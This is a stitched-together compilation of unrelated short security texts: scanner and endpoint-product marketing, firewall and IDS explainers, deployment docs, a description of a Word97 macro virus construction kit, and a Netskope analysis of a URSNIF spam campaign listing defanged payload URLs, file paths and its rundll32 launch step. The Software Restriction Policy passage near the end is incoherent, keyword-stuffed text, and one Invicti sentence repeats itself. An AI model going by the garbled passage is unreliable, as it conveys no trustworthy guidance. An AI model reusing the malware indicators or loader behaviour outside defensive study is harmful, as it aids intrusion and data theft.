Proof-Based Scanning is based on a fundamental insight: if a vulnerability can be exploited, it is not a false positive. Combined with a meticulously developed and continuously maintained auto- exploitation engine, this simple idea has allowed Invicti engineers to create an industry-leading vulnerability scanning solution that provides positive proof of exploitable vulnerabilities to deliver accurate and actionable vulnerability reports. Based on an analysis of real-life usage data, we know that automatic confirmations generated by Invicti are over 99.98% accurate.
When Invicti finds a vulnerability, it attempts to automatically and safely exploit the flaw to make sure it is not a false positive. Such automatic exploitation is possible for nearly 95% of direct-impact vulnerabilities – issues that could get your websites and applications hacked right now. If the vulnerability is exploitable, the scanner generates a proof of exploit (extracted sample data) or a proof of concept (exploit code used in the test attack). Both types provide hard-and-fast evidence that the reported vulnerability is not a false alarm and can aid developers in locating the underlying issue. Especially with proofs of concept, developers can use the actual exploit code to quickly and effectively pinpoint the vulnerability.
Trustworthy security testing for your automated SDLC
We’ve already seen that accuracy is crucial to reap the benefits of automation and effectively scale tightly integrated development processes such as DevOps. By clearly indicating verified and actionable issues, vulnerability scanners can finally live up to these expectations for web application security. Thanks to enterprise-class solutions such as Invicti, teams can seamlessly integrate vulnerability scanning into their automated workflows without the drag of excessive false positives.
With vulnerability management that is truly accurate, automated, and reliable, developers can focus on fixing verified vulnerabilities instead of poring over lists of suspected issues and running (and re-running) manual checks. Actionable evidence of vulnerabilities obtained using Proof-Based Scanning helps developers to quickly locate and resolve issues, resulting in improved productivity and less frustration. For maximum effectiveness, vulnerability notifications can even be integrated into many popular issue tracking systems.
Largely due to problems with false positives, many organizations require the security team to check vulnerability scan results before assigning issues to developers. When a small security team has to deal with hundreds of web applications, this additional step can create a bottleneck that delays the resolution of critical issues. However, when scan results are trusted to be free of false alarms, proven vulnerabilities can be automatically assigned directly to developers in their issue tracker. That way critical vulnerabilities are addressed more quickly while also decreasing the workload of security teams.
In terms of overall security culture, accurate and trustworthy scan results help organizations truly integrate security into their automated software development process. Evidence provided by auto-exploitation technology can reduce the back-and-forth between developers and security professionals trying to convince them that a vulnerability is real, increasing efficiency and improving team relations. The same evidence can be invaluable for effective, fact-based time and resource allocation within teams when additional man-hours need to be signed off.
Improved web application security
Accurate scan results from fully integrated tools bring clear and immediate benefits for application security. When developers receive an automatic vulnerability notification, they can quickly get to work fixing it without wondering if it’s just another false positive. With trustworthy automatic assessments of severity and exploitation potential, critical risks can be addressed immediately and accurately to patch applications as soon as possible.
When testers and developers don’t have to sift through multiple false positives to confirm and triage actual issues, they have more time to resolve real vulnerabilities, resulting in better quality fixes and improved application security. Just as importantly, there is less risk of vulnerabilities going unnoticed in a flood of false alarms and slipping into production. Trustworthy scan results are also treated more seriously, so all suspected issues are given the attention they deserve.
For vulnerabilities that can’t be patched immediately, web application firewall (WAF) rules can be configured to temporarily block attack attempts. Invicti makes this easy through integration with leading WAFs. Confirmed vulnerability scan results can be automatically applied as real-time WAF patches or exported as WAF rules ready to apply manually. This allows organizations to effectively manage vulnerabilities even when fixing them is not immediately possible.
Invicti can export scan results as rules for popular web application firewalls (WAFs):
- F5 Big-IP
Measurable business value
Increased confidence in scan results boosts efficiency across the development process and the entire organization, bringing tangible financial benefits. Savings start with reducing labor costs on multiple levels. With more accurate automatic scan results, staff can spend less time sifting through false alarms and manually confirming issues. Developers can focus on working with the code to quickly resolve verified vulnerabilities and do what they do best: build functionality that adds business value.
With Proof-Based Scanning, exploitable vulnerabilities are automatically confirmed by the scanner, so security professionals don’t have to manually reproduce the results to confirm them. This reduces the number of issues that require the attention of specialist technical staff, bringing further cost savings. Increased efficiency across the software development lifecycle can also mean faster and more predictable product delivery, helping projects stay within time and budget constraints.
Of course, improved application security also brings its own business benefits, starting with the reduced overall cost of vulnerability management. Better security means a lower risk of attacks, with all their attendant dangers: data breaches, system attendant dangers: data breaches, system outages, data loss, regulatory liability, and so forth. Minimizing high-profile incidents by maintaining solid application security and rapidly resolving critical issues also helps organizations maintain a good reputation and ensure client satisfaction.
Looking at the big picture, all this contributes to the return on investment in your vulnerability scanning solution. By eliminating uncertainty from scan results, you can confidently apply automation to streamline the entire software development process, reduce risk, and achieve cost reductions across the organization. More efficient development and testing also means a shorter time to market – and to profit. Choosing a product that consistently delivers accurate results and clearly indicates verified and actionable vulnerabilities can make the difference between buying just another tool and investing in the future success of your organization.
About Invicti Security
Invicti Security is transforming the way web applications are secured. An AppSec leader for more than 15 years, Invicti enables organizations in every industry to continuously scan and secure all of their web applications and APIs at the speed of innovation. Through industry-leading Asset Discovery, Dynamic Application Security Testing (DAST), Interactive Application Security Testing (IAST), and Software Composition Analysis (SCA), Invicti provides a comprehensive view of an organization’s entire web application portfolio and scales to cover thousands, or tens of thousands of applications. Invicti’s proprietary Proof-Based Scanning technology is the first to deliver automatic verification of vulnerabilities and proof of exploit with 99.98% accuracy, returning time to development teams for critical projects and innovation. Invicti is headquartered in Austin, Texas, and serves more than 3,500 organizations all over the world. |
The Intrusion Detection System, or IDS, plays a special role in IT security. Rather than actively protect the equipment, it works passively, recording network activity and setting off an alarm whenever a suspicious action is detected. This detection may occur using the strategies listed below. However, the complexity of network flows may result in the IDS sounding numerous false alarms, also known as false positives. Therefore, a large amount of post-treatment work needs to be done on the alarm logs to determine which attacks are real and which are false, which can prove tedious. Nevertheless, the IDS can be a very useful tool for identifying risks (threats and vulnerabilities) to which the IT systems may be subject. IDS availability is crucial to the effectiveness of the collected data. The ideal solution is to place it at interconnection points between networks, just like firewalls.
The Intrusion Prevention System, or IPS, has been developed to overcome the two major disadvantages of the IDS, namely its passiveness and the generation of false positives. The IPS doesn’t just detect suspicious behaviour, it also blocks it. It uses the same detection system as the IDS and therefore also generates false positives. However, the IPS comes equipped with detection filters and a set of rules that show it how to react correctly: block the network flow, let it through or request human intervention, a bit like a firewall. Once more, to be effective, the IPS must be placed at interconnection points between the networks. |
Rate Limit was designed to defend against such attacks among other numerous applications. Before we continue, go ahead and enabled Rate Limit from WHM -> Varnish -> Rate Limit). Once enable it, you can then begin setting rules to rate limit URL accesses. Let's walk through the wp-login.php example. By default your Rate Limit page will have this:
wp-login.php 3req/s 10req/30s 30req/5m
The first bit of information is the page or URI (/wp-login.php is a URI). The next three bits of information represents the three rate of accesses which if exceeded will lead to a block from Varnish with HTTP code 429 (not firewall block). So this will effectively prevent further brute force attempts. So if you were to reach wp-login.php more than 3 times per second OR 10 times over 30 seconds OR 30 times over 5 minutes, you get blocked. When either of the three limits is reached, the attacker is blocked by Varnish.
whoever (or whatever) attempts to attack wp-login.php will receive this message on their browser:
Error 429 "Slow down!" |
The most efficient and secure web applications are made by preventing data leakage. The error messages generated from the server is of greatest use to attackers. The attackers can get information about the servers along with their loopholes. Using this information, the attacker can plan an attack. This server frequently generates error messages.
The impact include:-
Mitigation / Precaution
Beagle recommends the following fixes:-
Verify that the application does not leak information via error messages.
Disable or limit detailed error handling.
Ensure that secure paths that have multiple outcomes return similar or identical error messages.
Check your website security today and
identify vulnerabilities before hackers exploit them. |
Firewall: configuring the server firewall
Instructions for configuring Firewall rules for virtual servers in the Serverspace control panel.
What is it?
Using a firewall directly from the control panel, you can control access to the server, network data packets. This option is not separately charged and is included in the server price.
There is currently a limit of 50 rules, if this limit is not enough for you, then you can increase it by request for technical support.
The network architecture
To avoid a conflict of firewall rules and their proper configuration, you need to understand the operating procedures of existing firewalls. First, you can set up a firewall for a private network. Secondly, for the server through the control panel. Thirdly, you can configure the internal firewall, for example, for Linux via iptables, for Windows — built-in.
For incoming packets, the network-level firewall (if any) will be the first to apply. If the packet has passed, then a firewall at the server level will be applied, and the internal software mechanism will be used last. For outgoing packets, the reverse sequence will be applied.
We do not recommend the simultaneous use of a server-level firewall and an internal software:
Creating a rule
The firewall configuration is available for all VPS and is located in the server settings in the Firewall section.
— the order of the rules matters, the lower the order number of the rule (the higher it is on the list), the higher its priority. You can change the sequence of rules using Drag and Drop by dragging the rule with the left mouse button to the desired position;
— by default — all data packets, both incoming and outgoing, are allowed.
To create a rule, click the button Add:
A window for adding a rule will open before you. These fields must be filled in:
- Name — a user-friendly name (no more than 50 characters), as a rule briefly describes the purpose of the rule;
- Direction — The direction of packets for which you want to apply the rule takes one of two values: Incoming or Outgoing. Incoming — the rule applies to incoming data packets, Outgoing — to outgoing ones;
- Source/Destination — depending on the direction, it contains the IP address of the server or one of the values: IP address, CIDR, range of IP addresses and any;
- SourcePort/DestinationPort — when choosing the TCP, UDP or TCP and UDP protocol, it is possible to specify the port, port range, or any;
- Action — the action to be applied takes one of two values: Allow or Deny. Allow — permission to forwarding data packets; Deny — prohibition of forwarding;
- Protocol — protocol type, ANY, TCP, UDP, TCP and UDP and ICMP are available.
To create a rule, click Save.
In our example, the rule blocks all packets entering the server.
For the created rule to take effect, you need to save the changes using the button Save. You can create several rules and then save everything at once.
The priority of rules
The lower the sequence number of the rule (the higher it is on the list), the higher its priority. For example, after a prohibition rule has been created for all incoming traffic, create a rule that allows you to receive incoming packets on port 80 of the Tcp protocol. After saving changes with this configuration, this port will also be unavailable, because the prohibition rule has a higher priority.
To change the priority of rules, use the left mouse button to drag the allowing rule to the first place and save the changes.
After saving, the sequence numbers of the rules will change, and their priority will also change.
Now the firewall configuration allows receiving packets via Tcp protocol on port 80, the rest of the packets will not pass. |
A deployment is the result of building your Project and making it available through a live URL.
This section contains information about making, managing, and understanding the behavior of deployments.
When using these integrations, every push to a branch will provide you with a preview deployment to view your changes.
There are many use cases for Deploy Hooks, for example, rebuilding your site to reflect changes in a Headless CMS or scheduling deployments with Cron Jobs.
To create a Deploy Hook, visit the settings page of your Project where you can choose the branch to deploy when the HTTP endpoint receives a POST request.
You can find more information about Deploy Hooks in the documentation.
To make a preview deployment, use the
To make a production deployment, use the
vercel --prod command:
The Vercel API can be used to make deployments by making an HTTP POST request to the relevant endpoint, including the files you wish to deploy as the body.
You can find more information about the Vercel API in the API Reference.
The Vercel Dashboard is the easiest way for you to manage your deployments.
Through the Vercel Dashboard, you can find a variety of settings; including a Domains tab where you can add custom domains to your Project.
There are three types of logs available, Build Time, Runtime, and Edge Network.
Build Time logs are generated during the build step. These logs contain information about the build process and are stored indefinitely.
Edge Network logs are generated when requesting a path from the Edge. These logs contain information about a request to a specific path with details such as the path name, request method, and status code. These logs are not persisted.
Runtime logs are generated by Serverless Functions while they're being invoked. Runtime logs are stored in memory only as they arrive from the Serverless Function and are not persisted.
The only exception to this are failed requests. If a request leads to the Serverless Function throwing an error, the log for this will be stored indefinitely whereas all other Runtime logs will be lost when navigating away from the page.
There is a maximum size limit of 4kb for each log. If the size of the log exceeds this, only the last 4kb of data to arrive will be shown.
All deployment URLs have two special pathnames:
/_logs to a deployment URL or custom domain, you will be able to see a realtime stream of logs from your deployment build processes and serverless invocations.
These pathnames redirect to
https://vercel.com and require logging in to access any sensitive information. By default, a 3rd-party can never access your source or logs by crafting a deployment URL with one of these paths.
However, you can configure project settings to make these paths public. Learn more here. |
A generic Network forensic examination includes the following steps:
Identification, preservation, collection, examination, analysis, presentation and Incident Response.
Identification: recognizing and determining an incident based on network indicators. This step is significant since it has an impact in the following steps.
Preservation: securing and isolating the state of physical and logical evidences from being altered, such as, for example, protection from electromagnetic damage or interference.
Collection: Recording the physical scene and duplicating digital evidence using standardized methods and procedures.
Examination: in-depth systematic search of evidence relating to the network attack. This focuses on identifying and discovering potential evidence and building detailed documentation for analysis.
Analysis: determine significance, reconstruct packets of network traffic data and draw conclusions based on evidence found.
Presentation: summarize and provide explanation of drawn conclusions.
Incident Response: The response to attack or intrusion detected is initiated based on the information gathered to validate and assess the incident.
There are steps organizations can take before an attack to help network-based forensic investigations be successful. Here are three things you can do:
- Put a process in place. For network forensic investigators to do their work, there need to be log and capture files for them to examine. Organizations should implement event-logging policies and procedures to capture, aggregate, and store log files.
- Make a plan. Incident management planning will help to respond to and mitigate the effects of an attack.
- Acquire the talent. The ability to interpret the data in log and capture files and recognize malicious activity in the data is a special skill that requires in-depth knowledge of network and application protocols. Whether the talent is in-house or external, it’s vital that organizations have access to computer and network forensics investigators who are experienced and accessible.
Feel free to contact E-SPIN for the various technology solution that can facilitate your network forensics infrastructure availability and security monitoring. |
Barracuda Networks, Inc., a leading provider of cloud-enabled security solutions, today announced Barracuda Data Inspector to help customers automatically scan OneDrive for Business and SharePoint data for sensitive information and malicious files. Powerful data classification capabilities help customers identify types of data such as Personal Identifiable Information (PII), user credentials, credit card information, and more. Customers using Barracuda Data Inspector can identify whether data has been shared internally or externally, and where it’s stored to help them make decisions on how to act on it.
A recent study commissioned by Barracuda captured the opinions and perspectives of global IT decision makers about Office 365, data security, backup and recovery, SaaS solutions, and a variety of related topics. The research found that data protection is both a security and a privacy concern:
● More than 7 in 10 respondents were concerned about compliance with data privacy requirements.
The same study found that protecting data against attack and loss — both from outside actors and inside sources — is also a key concern:
● 72% of respondents were concerned that their Office 365 data could be the target of ransomware.
● 52% said their organization has experienced a ransomware attack.
OneDrive and SharePoint deployments can be storing sensitive data, such as Social Security numbers, credit card information, network credentials, and more — which can make these types of data more vulnerable to a breach. Additionally, these deployments can be hosts to dormant malware, viruses, and ransomware that can go undetected by native security and then wait for one wrong click to activate them.
With Barracuda Data Inspector, customers can easily scan OneDrive and SharePoint to identify sensitive data and then decide what needs to be done with that data in terms of compliance requirements and other needs. Highlights include:
● Create data classifiers; identify specific information types, such as employee or student IDs, project codenames, and other proprietary information
● Find out if data has been shared internally or externally
● Identify malware, viruses, and ransomware stored and get rid of it at the source
● Receive automated notifications and redacted previews of classified data
● Alert users when they attempt to store data that might be considered sensitive |
This is a macro Word97 virus construction tool. The constructor itself is a
Word97 document that contains sixteen modules: CPCK, IntroFrm, Page1,
OptionsFrm, PayloadFrm, Export, Done, vsmp, RegFrm, InsultFrm, WDMfrm,
PlugInFrm, Class1, About, Main, TriggerFrm.
When run, the constructor displays a picture containing the text “Class.Poppy
CONSTRUCTION KIT by VicodinES”. It then displays a menu with many future
virus settings. The tool allows to choose methods of replicating,
polymorphic mechanisms, methods of interception and many effects of
Generated effects can operate on calendar days, and they display MessageBoxes,
dialogues, edit system registry, etc. It is also possible to add
a “customized” effect that is entered as a Visual Basic subroutine.
The constructor then requests a virus name and creates an infected document. |
Splits the reporting cache into a per-document cache for document-generated reports, and the existing cache for network reports. There is currently a single reporting cache per profile, which means that reports from unrelated documents can potentially be sent in a single request. This also introduces the Reporting-Endpoints HTTP response header for non-persistent configuration of document-generated reports.
In order to mitigate privacy concerns with the Reporting API, several changes have been made to the spec:
Per-document reports (such as policy violation reports or deprecation repots) have been separated from network reports (such as network error logging) and should be cached separately. This avoids an issue where reports from unrelated documents could be sent together, potentially allowing a users actions on separate sites to be correlated.
To avoid creating a persistent cookie or tracking identifier for per-document reports, the existing persistent Report-To header is being replaced with a new Reporting-Endpoints header, which affects only the document it is returned with.
Initial public proposalhttps://github.com/w3c/reporting/issues/158
TAG review statusPending
Interoperability and Compatibility
For isolation, risks are low, as there has never been a guarantee of any reports being combined; reports could always have been delivered to endpoints one-at-a-time, and no collectors should have been relying on this behaviour. It is possible that some parties may have been taking advantage of the fact that reports from unrelated windows could be delivered together, but eliminating that is exactly the point of this change.
: Positive (https://mozilla.github.io/standards-positions/#reporting
) Also see https://github.com/mozilla/standards-positions/issues/104
which mentions the current changes.WebKit
: No signalWeb developers
: No signals
The Reporting API is designed to be used in tandem with other features which generate reports.
There should be no activation risks at all associated with the improved report isolation. The biggest issue will likely be the potential for confusion between the old Report-To header and the new Reporting-Endpoints header. Either header can be used to configure document-based reports (for compatibility), but only Report-To can configure the endpoint groups for Network Error Logging. Once that API has a new configuration mechanism, we will be able to deprecate the Report-To header completely.
No additional security risks associated with the new header.
Isolating reports from different documents may enable better debugging support from DevTools; currently reports are all sent out-of-band, and combined with reports from other documents, and so cannot easily be seen in DevTools; the netlog viewer is the only access developers have to that traffic.
Separate work is ongoing to improve the debuggability of the reporting header syntax and endpoint connectivity issues; that is not covered by this intent.Not yet, but it will be.
Link to entry on the Chrome Platform Statushttps://www.chromestatus.com/feature/5712172409683968 |
Cases of document-based malware are steadily rising. 59 percent of all malicious files detected in the first quarter of 2019 were contained in documents.
Due to how work is done in today’s offices and workplaces, companies are among those commonly affected by file-based attacks. Since small to medium businesses (SMBs) usually lack the kind of security that protects their larger counterparts, they have a greater risk of being affected.
Falling victim to file-based malware can cause enormous problems for SMBs. An attack can damage critical data stored in the organization’s computers. Such loss can force a company to temporarily halt operations, resulting in financial losses.
If a customer’s private and financial information is compromised, the company may also face compliance inquiries and lawsuits. Their reputations could also take a hit, discouraging customers from doing business with them.
But despite these risks, SMBs still invest very little in cybersecurity. Fortunately, new and better solutions specifically focused on file-based attack protection like malware disarming are emerging to deal with file-based attacks. They’re becoming more accessible too. |
Netskope Threat Research Labs has discovered another campaign of URSNIF-dropping SPAM. The attack is designed to evade security products such as IPS and Sandboxes. Though in the past, we have blogged about similar campaigns, this iteration uses enhanced evasion techniques. The attack begins as an email with password protected Word file attachments, which is detected as Backdoor.Spamdoccryptd.BC, and results in the URSNIF family of data theft malware, detected as Backdoor.Generckd.5086438 by Netskope Threat Protection.
Initial Stage of Attack
The attack originates as a spam message containing a password protected attack attachment. This encrypted attachment would be detected by Netskope Threat Protection as Backdoor.Spamdoccryptd.BC. An example of the attack spam can be seen in Figure 1.
Figure 1: SPAM email containing password protected Microsoft Word document file.
Analysis of Malicious Word Document
The malicious Word document is password protected, a frequently used trick designed to bypass antivirus and sandbox inspection engines. On entering the password, the document asks to enable edit mode as shown in Figure 2.
Figure 2: Password protected malicious word document
In the current iteration of this campaign, the attachment doesn’t use macros but instead uses 3 embedded objects which look like word documents. When the user double clicks on them, it activates malicious OLE packages as shown in Figure 3.
Figure 3: Obfuscated VB script code hidden inside OLE package.
In the Figure 3, one can see, the attacker deliberately inserted spaces between the actual filename and extension to evade static scan engines that rely on URL extraction.
On execution of the embedded script, it tries to query URL’s to download encrypted URSNIF payload as shown in Figure 4.
Figure 4: Malicious script downloads image file as a payload
The script will attempt to download encrypted version of the final payload such that the file, in transit will not appear as an executable. The URLs used, hxxp://91[.]247[.]36[.]92/132957927[.]bmp, and hxxp://www[.]librairiescdd[.]be/sp[.]png themselves appear as images to a cursory scan.
The encrypted payload is saved to “C:\Users\Windows7\AppData\Roaming\96599659.wDV” and decrypted to “C:\Users\Windows7\AppData\Roaming\965996599659.SXF”. At this point, the backdoor is a valid executable, as shown in Figure 5, but does not have a .exe extension.
Figure 5: Encrypted and decrypted URSNIF payloads
The decrypted payload is a DLL (dynamic link library) file that is launched using RUNDLL32.EXE with function name (rundll32 DLL_FILEPATH, DllRegisterServer) by the script as shown in Figure 6.
Figure 6: Malicious script executes DLL (dynamic link library) file using RUNDLL32
URSNIF contains a flag that will permit it to execute on virtual environments. Perhaps this was included to ease in the attacker’s testing. The way this is implemented is the backdoor first looks for “C:\321.txt”. If the file is not found, the payload will check if it is running in a virtual environment by using hardware specific API calls as shown in Figure 7.
Figure 7: Payload checks for virtual environment by using API’s
URSNIF will exit if it detects virtual environment. On bypassing this check, payload queries for additional malicious payloads as shown in Figure 8.
Figure 8: Payload tries to download additional files
At the time of writing this blog, above domain was down. As we wrote about in our previous URSNIF malware blog, the payload injects its malicious code into the “explorer.exe” process, decrypt rest of the code and executes. The memory strings (POST data to be sent to its command and control server before and after encryption) confirm the payload is related to URSNIF data theft malware as shown in Figure 9.
Figure 9: URSNIF post data before and after encryption with its C&C server
As we continue to monitor attack campaigns usings URSNIF malware, this is our initial observation of the use of embedded objects in malicious word documents instead of VB script. The URSNIF malware itself is old but very effective in stealing data from the victim’s machine. The use of password protected word document and also anti-vm techniques call for the need to have a multi-layered security protection as traditional sandbox products as well as network security products such as IPS/IDS will fail to detect this attack campaign. Netskope Threat Research Labs will continue to monitor attack campaigns delivering URNIF malware and provide further updates.
- Detect and remediate cloud threats using a threat-aware CASB solution like Netskope and enforce policy on usage of unsanctioned services as well as unsanctioned instances of sanctioned cloud services
- Sample policies to enforce:
- Scan all uploads from unmanaged devices to sanctioned cloud services for malware
- Scan all uploads from remote devices to sanctioned cloud services for malware
- Scan all downloads from unsanctioned cloud services for malware
- Scan all downloads from unsanctioned instances of sanctioned cloud services for malware
- Enforce quarantine/block actions on malware detection to reduce user impact
- Block unsanctioned instances of sanctioned/well known cloud services, to prevent attackers from exploiting user trust in cloud. While this seems a little restrictive, it significantly reduces the risk of malware infiltration attempts via cloud
- Enforce DLP policies to control files and data en route to or from your corporate environment
- Regularly back up and turn on versioning for critical content in cloud services
- Enable the “View known file extensions” option on Windows machines
- Warn users to avoid executing unsigned macros and macros from an untrusted source, unless they are very sure that they are benign
- Warn users to avoid executing any file unless they are very sure that they are benign
- Warn users against opening untrusted attachments, regardless of their extensions or filenames
- Keep systems and antivirus updated with the latest releases and patches |
1. Check the inter-zone policy configuration for the two carrier
networks on the USG2200. No filtering policy is configured for the 40.x.x.x
2. Check the route configuration on the USG2200. Two default
routes exist, respectively destined for CARRIER1 and CARRIER2 interfaces. When
either of the links goes Down, packets are forwarded through the other link.
Therefore, the routes are correct.
ip route-static 0.0.0.0 0.0.0.0 39.x.x.49
ip route-static 0.0.0.0 0.0.0.0 41.x.x.65
3. Shut down the link between the USG2200 and CARRIER1, and
tracert the route from the USG2200 to the server. The following figure shows
the result. According to the tracert records, packets have reached CARRIER1.
The route between CARRIER networks is reachable.
4. Based on steps 1 to 3, the public network is working properly. Check other configurations on the USG2200. The following incorrect configuration is found:
firewall mac-binding 41.x.x.69 0006-xxxx-fc97
IP address 41.x.x.69 is bound to a MAC address on the firewall (USG2200). The configuration is incorrect regardless of whether the MAC address is the next-hop MAC address of carrier1 or the server's MAC address. If the response packets are returned from the carrier2 interface, the source MAC address of the packets is the MAC address of the carrier2 interface. Once the IP address and MAC address is bound on the firewall, the source MAC address is different from the static MAC address bound to 41.x.x.69 on the firewall. Therefore, the firewall discards the packets.
5. Talk with the customer, and find that the MAC address binding is a configuration on the former network. However, the configuration is retained when the network structure is greatly changed. To rectify the fault, delete the MAC address binding configuration. |
Weather to detect fraud in an airplane or nuclear plant, or to notice illicit expenditures by congressman, or even to catch tax evasion. the art of realizing suspect patterns and behaviors can be quite useful in a wide range of scenarios. With that in mind, we made a small list of procedures to carry out this kind of task. Some of them will be incredibly simple and surprisingly effective. Other, not so simple. Anyway, we will focus on semi-supervised machine learning techniques for anomaly detection. Don’t worry if this sound confusing at first. Before anything, we will explain what are anomalies and what is semi-supervised machine learning. Next, we will give some intuitive explanations about the techniques here explored, as well as cast light in their advantages and disadvantages. This work is freely inspired in a survey by Chandola et al (2009).
This work does not intent to be extensive nor rigorous; out goal is to be the least complicated we can and the more intuitive as possible. For a more details and technical discussion, please check out our implementation of this work on Kaggle
What is an anomaly?
“Anomalies are patterns in data that do not conform to a well-defined notion of normal behavior” (Chandola et al, 2009). In other words, they are data are somewhat strange and distinct from normal observations. For example, points in \(O_1\), \(O_2\) in the image bellow are isolated and outside the normal region (\(N_1\) and \(N_2\)), thereby being considered anomalies. The dots in region \(O_3\), although being in a neighborhood, are also anomalies, for that whole region is outside the normal boundaries.
A fairly straightforward approach for anomaly detection would be to simple define the regions in the data where in the normal data lies and then classify everything outside that regions as anomalous. However, this is most easy said than done and there are some quite difficult challenges that arise in anomaly detection problems:
Modeling a regions that captures all notions of normality is extremely difficult and the frontiers between normal and abnormal are usually blurred;
Anomalies can be the result of malicious activities (e.g. frauds). In this case, there is an adversary that is always adapting to make anomalous observations seem normal;
What is normal can change, that is, a notion of normality defined today may not be valid in the future;
The notion of normality varies a lot from application to application and there is no general enough algorithm to capture them all in an optimized way;
Gathering samples from the abnormal behavior is a major challenge in anomaly detection. These samples tend to be very scarce or non existent.
To deal with this problems, we propose a semi-supervised approach, that requires only a small portion of abnormal samples.
What is semi-supervised machine learning?
In rough terms, machine learning is the science that uses computer science and statistical methods to analyze data. Machine learning techniques started in the field of artificial intelligence, as a way to allow for computers acquire their own knowledge from data. Today, machine learning has expanded in its own field and has had success in problems that demand statistical reasoning being our human limitations. In the regimes that machine learning operates on, the most prominent is the supervised one, that focus on predictions tasks: having data on pairs of labels and observations \((x, y)\), the goal is to learn how the labels are associated with the features. This is done by presenting the machine with enough samples of features and its observed labels, to the point where it can learn an association rule between them. Some examples are: identifying the presence of a disease (label), given the patient symptoms (features); identify which person (label) is in a given image (features) or classify a book (features) in a given literary school (label).
One limitation of supervised machine learning is that gathering labels can be costly. For example, consider the problem of prediction the class of an article given its written content. To teach a computer to do such tasks, we first need to collect the articles and label them with the right category. Usually, we need thousands of examples, so labeling such an amount of articles can be very time-consuming. In anomaly detection task, we often have an abundant observations of the normal case, but it is very hard to gather abnormal observations. In some extreme cases, such as nuclear plant failure detection, it is not only hard to have anomaly examples, but it is undesirable. Therefore, with little or no examples of anomalies, the computer doesn’t have enough information to learn their statistical proprieties, making the problem in detecting them extremely difficult.
One possibility is to use semi-supervised machine learning, where we consider only as small fraction of the data as being labeled and that the majority of the unlabeled data has only normal samples. Thus, we can use unsupervised machine learning techniques (that learn the structure in data) to learn some notion of normality. By the end of this unsupervised stage, the machine will be able so associate each observation with a score that is proportional to the probabilities of that observation being normal. Then, we can use some labeled data to tune a threshold for this score, below which we will consider a sample as being an anomalies.
OK… Maybe this last paragraph has a little too much information, which makes understanding slower. Think this way: first, we teach the machine only to understand how the normal case is, for we do not have (much) anomaly samples; next, we use a little of the few anomaly examples we have to fine tune our machine’s perceptions of normality; lastly, we use the rest of our data - with a few anomalies and lots of normal observations, to produce a final evaluation of our anomaly detection technique. If you still didn’t get it, don’t worry. Soon we will an empirical research with lots of examples showing how to use semi-supervised machine learning for fraud detection. |
CrypVault is ransomware that infects computers via email attachments. In this post, I explain how you can block CrypVault through Group Policy.
Lee on December 3, Group Policy. What is the Security Tango?
Hash rules are rules created in group policy that analyze software. This section is not normative.TheINQUIRER publishes daily news devices, INQdepth articles for tech buffs , reviews on the latest gadgets hobbyists. This is even more exacerbated by the very large number of security updates associate with running multiple browsers.
Also having multiple browsers on network could mean that you have totally. After being taken down twice by Blogger within a single week, we got the message: It’ s Time To Go.
SRPs are a Group Policy feature that you can use to restrict p 1,. Numbers and Symbols 100- continue A method that enables a client to see if a server can accept a request before actually sending it.
A tutorial on how to restrict what programs a user can run on Windows XP Windows 7 via GPO ( Group Policy Objects) , Vista SRP ( Software Restriction Policy). This document defines Content Security Policy such as cross- site scripting ( XSS).
The CWE/ SANS Top 25 Most Dangerous Software Errors is a list of the most widespread and critical errors that can lead to serious vulnerabilities in software. Error Identifier / Description Code Severity / Facility Code; ERROR_ SUCCESS: 0x0: The operation completed successfully.
There are advantages and disadvantages to using a hash rule. Software restriction policy path rule still blocking allowed programs.
In experimenting, the trick that seemed to work in this environment was to create a hash rule for the particular program. This guide teaches you how to remove Locky for free by following easy step- by- step instructions.
Group policy software restriction hash rule. ( certificate rule) it is not possible to block it via restricted hash rule .
A software restriction policy is actually a group policy element that can be. Behavior monitoring Definition: Observing activities of users processes , baselines of normal activity, measuring the activities against organizational policies , rule, information systems, thresholds trends.When a hash rule is created for a software program,. If a hash rule is created that disallows running sol.
ERROR_ INVALID_ FUNCTION: 2: The system cannot find. Unix security refers to the means of securing a Unix or Unix- like operating system.
ShowAccessibilityOptionsInSystemTrayMenu Show accessibility options in system. Software Restriction Policies is a terrific new security tool— if you know what it.
You can block applications on your network from being run with something called a hash rule, these can be deployed with group policy. A tutorial explaining how to enforce Software Restriction policies using AppLocker.
The Security Tango is my name for the dance you have to do every time you want to assure yourself that your computer is free of viruses backdoors, trojans, spyware, keystroke loggers other forms of malware ( click the Definitions button in the menu to see what all those things mean).
This topic describes procedures working with certificate, path, internet zone and hash rules using Software Restriction Policies.
Software restriction policies can also identify software by its signing certificate. You can create a certificate rule that identifies software and then allows or does.
Jun 03, · Hello. In the software restriction policy, there is a default path rule for allowing everything located in windows directory, hence the user will be able to run. |
SysWatch Workstation takes a different approach to PC protection than traditional anti-malware, controlling application launch and activity to maintain system integrity, even trhough patching and update cycles.
SysWatch does not require regular signature updates, because the entire approach is based on preventing unauthorized access or change rather than identifying and then neutralizing individual threats. By controlling application activity, SysWatch prevents malicious code from activating on the system, effectively protecting endpoints from both known and unknown or zero-day threats.
Application launch and activity control keeps the system in a known-good state and effectively avoids the problem of false alarms that dogs traditional antimalware approaches.
Application activity rules can be adjusted as required to prevent data leaks or to manage the effective usage of employees’ time, for example, by preventing certain applications from running or restricting access to file system or external devices.
|→ Proactive protection against all types of malicious software and hacker attacks|
|Dynamic integrity control||
Controls application launches, blocking the launch of hidden applications, and preventing new applications from launching until the administrator can determine whether the application should be permitted to run.
Unknown or potentially dangerous applications are launched in a limited user account or a sandbox , so they cannot affect other processes or the system itself. This method allows malicious activity to be blocked before patches or signature updates can be applied.
|Application activity control||
Controls how different applications can access files and folders, USB drives, registry keys, external devices, and network resources. User-driven rules can be created to control application activity.
|Targeted software protection||
Enables custom protection to be implemented for specific software in the following ways:
|→ User activity control and data loss prevention|
|Application launch control||
Block attempts by users to launch any unknown application or block only specified unwanted software such as games or multimedia players.
|Access to files and folders||
Set access rules to files and folders for individual applications or groups of applications. Active Directory support enables rules to be set for individual users or groups of users.
When setting application activity policies, access rules can be time-limited to allow for workstation maintenance.
|Access to peripheral devices||
Granular settings control access to USB drives and CD/DVD devices, down to the level of device type, name, vendor and ID.
Logging history of changes of certain application allows restoration of files changed by that application.
Permits only authorized users to connect, stop or uninstall client application. All changes and uninstallation are password protected, ensuring only designated users can allow or deny access to designated files and folders or change other settings.
|→ Cutting edge technologies|
|SysWatch is built around SoftControl’s unique, patent-pending V.I.P.O. (Valid Inside Permitted Operations) technology, which combines three levels of protection:|
|D.I.C. (Dynamic Integrity Control)||
